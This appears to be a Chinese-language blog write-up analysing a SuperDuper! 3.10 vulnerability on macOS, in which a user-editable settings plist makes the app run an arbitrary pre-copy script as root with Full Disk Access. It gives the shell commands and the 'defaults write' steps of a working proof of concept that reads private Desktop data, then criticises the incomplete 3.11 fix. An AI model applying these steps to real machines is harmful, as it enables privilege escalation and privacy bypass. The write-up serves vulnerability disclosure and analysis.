来自开发者博客:
用户可设置的 Before/After shell 脚本在提权状态下运行,拥有 SuperDuper 的 TCC 完全磁盘访问权限。由于这些 shell 脚本由复制或计划任务的设置文件引用,恶意攻击者可以修改这些设置以运行自己的脚本。
来自 CVE:
Shirt Pocket 的 SuperDuper! 3.10 及更早版本中存在一个问题,允许本地攻击者修改默认任务模板,以 root 权限和完全磁盘访问权限执行任意预飞脚本,从而绕过 macOS 隐私控制。
本作者并非漏洞发现者,SuperDuper 开发者将其识别为“匿名安全研究员”。我不声称发现此漏洞的功劳,我只是对其技术分析感兴趣。
CVSS 3.1 评分:7.8 高 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
为避免此漏洞,请删除 SuperDuper! 应用程序,或应用 3.11 更新。
警告:必须直接从开发者网站下载更新,以避免 CVE-2025-61228 漏洞。
本漏洞利用分析和概念验证仅供教育目的。使用风险自负。
Root 权限和完全磁盘访问是 macOS 上软件能达到的最高权限。任何请求这些权限的开发者都应编写遵循现代安全设计原则和最佳实践的软件。此漏洞,以及 CVE-2025-57489 和 CVE-2025-61228 暴露出的漏洞,甚至开发者自己承认这些问题已持续 22 年,都表明 SuperDuper 并非 设计 为安全产品,并且在 22 年来没有定期进行设计改进以遵循现代安全最佳实践。
SuperDuper 任务设置在当前版本(3.11)中仍然存在固有的不安全性。我建议所有使用此产品的人停止使用,直到开发者能够提供彻底解决所有上述安全问题的合格更新。
此漏洞比前两个漏洞(CVE-2025-57489 和 CVE-2025-61228)更容易利用——坦率地说,太容易了。当一个漏洞如此明显、易于利用且几十年来未被解决时,你开始怀疑编写安全软件对开发者是否重要。
从 应用程序的易受攻击版本 开始,我们需要做的第一件事是找到这个“默认任务模板”的位置。显而易见的第一个地方是 ~/Library/Application Support/{vendor/product name}。没错,在 ~/Library/Application Support/SuperDuper! 中有三个文件夹:
“Copy Scripts” 只有一个指向应用程序包中文件夹的符号链接,所以排除。在 Saved Settings 内部有一个名为 “.Default Settings.sdsp” 的隐藏文件夹。该文件夹内有一个 “Logs” 文件夹和一个名为 “Session Settings.sdss” 的单个文件,该文件是 plist 格式。Session Settings 文件由登录用户拥有,没错,所有任务设置都赤裸裸地摆在这个文件中。
Before/After 脚本由四个设置控制:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
这个简单的测试脚本将证明漏洞的两个方面:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
然后只需编辑 “Session Settings.sdss” plist。defaults 工具可以轻松处理,但我们需要复制一份这个文件,因为 defaults 要求文件具有 .plist 后缀:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
打开 SuperDuper 并运行备份。完成后,在 /Library 中查找 “private_data.txt” 文件(它应包含来自您桌面的文件列表,只有具有访问该私有数据特殊权限的应用程序才能访问)。老实说,我对任务设置的脆弱程度感到有些惊讶。“是” 不是打字错误。以下是开发者描述此漏洞“解决方案”的方式:
为了缓解此漏洞,在 v3.11 中我们做了两项更改:
Before/After shell 脚本强制以用户 ID 和权限运行。需要替代执行上下文的个人可以通过正常的 Unix 方法(如 suid)来实现。
脚本必须由 root 用户拥有,即使在正常用户上下文中运行也是如此。这确保了任何要运行的脚本都已被管理员用户明确授权。
所以他们对比/后脚本施加了一些限制,但似乎没有改进任务设置文件的安全性。不幸的是,这仅能有效限制攻击者做任何有用的事情。对 Before/After shell 脚本的唯一要求是它必须由 root 拥有。除此之外,攻击者仍然可以自由修改默认任务设置模板。这完全荒谬。也许攻击者无法使用这些 Before/After 脚本窃取您的密码和财务数据,但我打赌他们可以通过指定任何随机的内置 shell 工具(大多数都满足 root 所有权要求)来造成严重破坏。试着把 “/usr/bin/say” 工具作为 Before 脚本插入,看看会发生什么——如果数据安全不是如此严肃的话题,这将会非常搞笑。没有修改参数的能力,内置工具都不会产生 显著 影响,但有些可能会造成一些烦扰,并且肯定会导致备份失败。
我的意思是,“避免 root 漏洞” 与 “编写安全软件” 之间存在差异。开发者在这里很大程度上成功避免了两次 root 漏洞机会,但任务配置仍然存在固有的不安全性。任何人都可以“在幕后”修改任务设置,如果您不注意,这些更改可能会对您的数据或备份产生某种影响。
您也不禁要问,其他设置缺乏安全性是否仍然可以被利用。